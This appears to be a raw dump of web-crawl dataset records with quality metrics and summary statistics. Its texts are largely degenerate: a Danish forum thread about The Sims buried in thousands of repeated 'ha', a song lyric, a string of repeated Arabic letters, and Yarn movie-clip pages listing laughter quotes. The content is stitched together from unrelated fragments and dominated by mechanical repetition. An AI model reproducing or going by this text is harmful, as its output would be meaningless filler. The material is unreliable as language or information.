ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\ntilføjet af HOVSA HOVSA HOVSA for 21 år siden\nHAHAHAHA\nJeg her prøvet Smis onlind\ntilføjet af Dolly_12 for 20 år siden\njeg har...\njeg har alle de sims spil der er udkommet indtil videre!!! jeg gider bare ikke have the sims online!! Så det er noget vrøvl du sidder og siger!!!! og som du sagde : det har i bare ikke !!!.... din selv glade abekat\ntilføjet af lala for 20 år siden\nhej\nja det er megeet fedt jeg har kun de to første men de er gode har du koden (move_objects on)? den kan du slætte aldt med men du skal ikke slætte den store skaralde eller postkassen knusser Isabel\ntilføjet af Anonym for 20 år siden\nDu er ikk den eneste...\nDu er ikke den eneste der har det... for jeg har det også, så kom igen...\ntilføjet af Anonym for 20 år siden\nStolt hva'\nJeg har alle The Sim's spillene, og jeg går ikk og blærer mig med det...\ntilføjet af Hun skrev det i 2003 for 20 år siden\nØhh... Gammelt\nNu er det jo lige at hun skrev det i 2003, du skal se, dengang var det sikert ikke kommet ud. Der er jo en grund til at hun har skrevet det sådan. Tænk dig om...","num_words":5944,"character_repetition_ratio":0.895,"word_repetition_ratio":0.88,"special_characters_ratio":0.327,"stopwords_ratio":0.001,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":365902.6,"cluster_detection":-1} +{"text":"Tears Don't Lie (Long Version) Mark'Oh Tears don't lie. Tears don't lie Ha ha ha haaaa ha ha ha ha haaa ha ha ha haaa ha ha ha ha haaa ha ha ha ha haaa ha ha ha ha haaaaa ha ha ha haaaa ha ha ha ha ha","num_words":68,"character_repetition_ratio":0.419,"word_repetition_ratio":0.271,"special_characters_ratio":0.275,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.855,"perplexity_score":125738.8,"cluster_detection":-1} +{"text":"ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha.\nseriously, fuck that guy.\neveryone is entitled to my own opinion is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.","num_words":440,"character_repetition_ratio":0.861,"word_repetition_ratio":0.884,"special_characters_ratio":0.314,"stopwords_ratio":0.002,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":349650.9,"cluster_detection":-1} +{"text":"god ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ra its all real 695 2166 361 736","num_words":33,"character_repetition_ratio":0.635,"word_repetition_ratio":0.583,"special_characters_ratio":0.419,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.575,"perplexity_score":372465.3,"cluster_detection":-1} +{"text":"مففرىبسصسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسسس","num_words":169,"character_repetition_ratio":0.95,"word_repetition_ratio":0.956,"special_characters_ratio":0.0,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":100751.2,"cluster_detection":-1} diff --git a/ina_Latn/new_cc_000004_stas.jsonl b/ina_Latn/new_cc_000004_stas.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..5aa46064554d2917562b3a0bd720b6cae6fa54ec --- /dev/null +++ b/ina_Latn/new_cc_000004_stas.jsonl @@ -0,0 +1,115 @@ +[ + { + "avg": { + "num_words": 503.6875, + "character_repetition_ratio": 0.5186875, + "word_repetition_ratio": 0.5685, + "special_characters_ratio": 0.28687500000000005, + "stopwords_ratio": 0.00025, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.9141250000000001, + "perplexity_score": 275984.80625 + } + }, + { + "std": { + "num_words": 1415.984185944091, + "character_repetition_ratio": 0.3333351764271962, + "word_repetition_ratio": 0.37971634149717604, + "special_characters_ratio": 0.09807769560404649, + "stopwords_ratio": 0.0005590169943749475, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.12873464714287292, + "perplexity_score": 119049.73648598234 + } + }, + { + "median": { + "num_words": 70.0, + "character_repetition_ratio": 0.639, + "word_repetition_ratio": 0.7, + "special_characters_ratio": 0.305, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.9995, + "perplexity_score": 301091.8 + } + }, + { + "max": { + "num_words": 5944.0, + "character_repetition_ratio": 0.95, + "word_repetition_ratio": 0.996, + "special_characters_ratio": 0.426, + "stopwords_ratio": 0.002, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 459727.6 + } + }, + { + "min": { + "num_words": 22.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.0, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.575, + "perplexity_score": 100751.2 + } + }, + { + "90%": { + "num_words": 568.0, + "character_repetition_ratio": 0.9195, + "word_repetition_ratio": 0.97, + "special_characters_ratio": 0.40549999999999997, + "stopwords_ratio": 0.001, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 424718.85 + } + }, + { + "75%": { + "num_words": 188.5, + "character_repetition_ratio": 0.74025, + "word_repetition_ratio": 0.90025, + "special_characters_ratio": 0.3285, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 367543.27499999997 + } + }, + { + "50%": { + "num_words": 70.0, + "character_repetition_ratio": 0.639, + "word_repetition_ratio": 0.7, + "special_characters_ratio": 0.305, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.9995, + "perplexity_score": 301091.8 + } + }, + { + "25%": { + "num_words": 31.0, + "character_repetition_ratio": 0.178, + "word_repetition_ratio": 0.20325000000000001, + "special_characters_ratio": 0.2485, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.835, + "perplexity_score": 162482.55 + } + }, + { + "total size": "16", + "keep size": "10", + "remove size": "6" + } +] \ No newline at end of file diff --git a/ina_Latn/new_cc_000005_keep.jsonl b/ina_Latn/new_cc_000005_keep.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..89f5075fd7d14189b36329244e270823c59fe57a --- /dev/null +++ b/ina_Latn/new_cc_000005_keep.jsonl @@ -0,0 +1,10 @@ +{"text":"Yarn is the best way to find video clips by quote. Find the exact moment in a TV show, movie, or music video you want to share. Easily move forward or backward to get to the perfect spot. It's available on the web and also on Android and iOS.\nHa, ha, ha. Bye-bye, bunny.\nZootopia (2016)\nSearch clips of this video\nRelated play\nDisable\nHa, ha, ha. Bye-bye, bunny.\nLike Embed Gif Yarn Story Make Meme Share\nCopy the URL for easy sharing\nhttps:\/\/memes.yarn.co\/yarn-clip\/e88ee57a-dd13-423c-a2bd-5f55acf1ba94\n😎\n😐\n😂\n😘\n😳\n😍\n#yelling\n#shouting\n#dealwithit\n#farting\nSpeed Racer\n2.7s\nBye-bye' little turd. Ηa-ha-ha!\nThe Simpsons (1989) - S01E06 Comedy\n2.5s\nHa ha, eat the goddamn food bye\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Tigger Movie\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Muppet Show (1976) - S02E14 Elton John\n1s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha!\nThe Loud House\n2.1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nRango\n22.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nBingo\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nCars 3\n2.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nHotel Transylvania 2 (2015)\n2.3s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha","num_words":983,"character_repetition_ratio":0.656,"word_repetition_ratio":0.702,"special_characters_ratio":0.339,"stopwords_ratio":0.01,"flagged_words_ratio":0.0,"lang_id_score":0.904,"perplexity_score":153668.3,"cluster_detection":1} +{"text":"YARN | Ha ha Ha Ha Ha Ha Ha Ha Ha Ha looking at peters booty Peter’s | Adventure Time with Finn and Jake (2010) - S05E11 Bad Little Boy | Video clips by quotes | 4dca64db | 紗\nHOT\nAPP\nQUIZZES\nDISCOVER\nYARNS\nEMOJI\nMore\nCREATE STORIES\nPHRASES\nNUDGE CLIPS\nCONTENT REQUEST\nLOGIN\nHOT\nAPP\nDISCOVER\nYARNS\nEMOJI\nSTORY\nPHRASES\nNUDGE CLIPS\nREQUEST CONTENT\n×\nYarn is the best way to find video clips by quote. Find the exact moment in a TV show, movie, or music video you want to share. Easily move forward or backward to get to the perfect spot. It's available on the web and also on Android and iOS.\nHa ha Ha Ha Ha Ha Ha Ha Ha Ha looking at peters booty Peter’s\nAdventure Time with Finn and Jake (2010) - S05E11 Bad Little Boy\nMore clips of this video\nRelated play\nDisable\nHa ha Ha Ha Ha Ha Ha Ha Ha Ha looking at peters booty Peter’s\nLike Embed Gif Yarn Story Make Meme Share\nCopy the URL for easy sharing\nhttps:\/\/memes.yarn.co\/yarn-clip\/4dca64db-e223-40c1-8d41-0566d53aa73e\n😎\n😐\n😂\n😘\n😳\n😍\n#seriously\n#happy\n#ouch\n#awkward\nThe Angry Birds Movie 2\n1.3s\nHa ha peters booty\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nHow the Grinch Stole Christmas (2000)\n1.6s\nLook at that animal! ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha!\nThe Tigger Movie\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Muppet Show (1976) - S02E14 Elton John\n1s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha!\nThe Loud House\n2.1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nRango\n22.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nBingo\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nCars 3\n2.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nBingo\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha","num_words":1153,"character_repetition_ratio":0.608,"word_repetition_ratio":0.684,"special_characters_ratio":0.326,"stopwords_ratio":0.01,"flagged_words_ratio":0.0,"lang_id_score":0.834,"perplexity_score":145319.4,"cluster_detection":1} +{"text":"Yarn is the best way to find video clips by quote. Find the exact moment in a TV show, movie, or music video you want to share. Easily move forward or backward to get to the perfect spot. It's available on the web and also on Android and iOS.\nHa!\nWar of the Worlds (2005)\nMore clips of this video\nRelated play\nDisable\nHa!\nLike Embed Gif Yarn Story Make Meme Share\nCopy the URL for easy sharing\nhttps:\/\/memes.yarn.co\/yarn-clip\/55466552-a381-4550-afe7-a30c523d4c44\n😎\n😐\n😂\n😘\n😳\n😍\n#yikes\n#burping\n#excuseme\n#sorry\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Tigger Movie\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Muppet Show (1976) - S02E14 Elton John\n1s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha!\nThe Loud House\n2.1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha 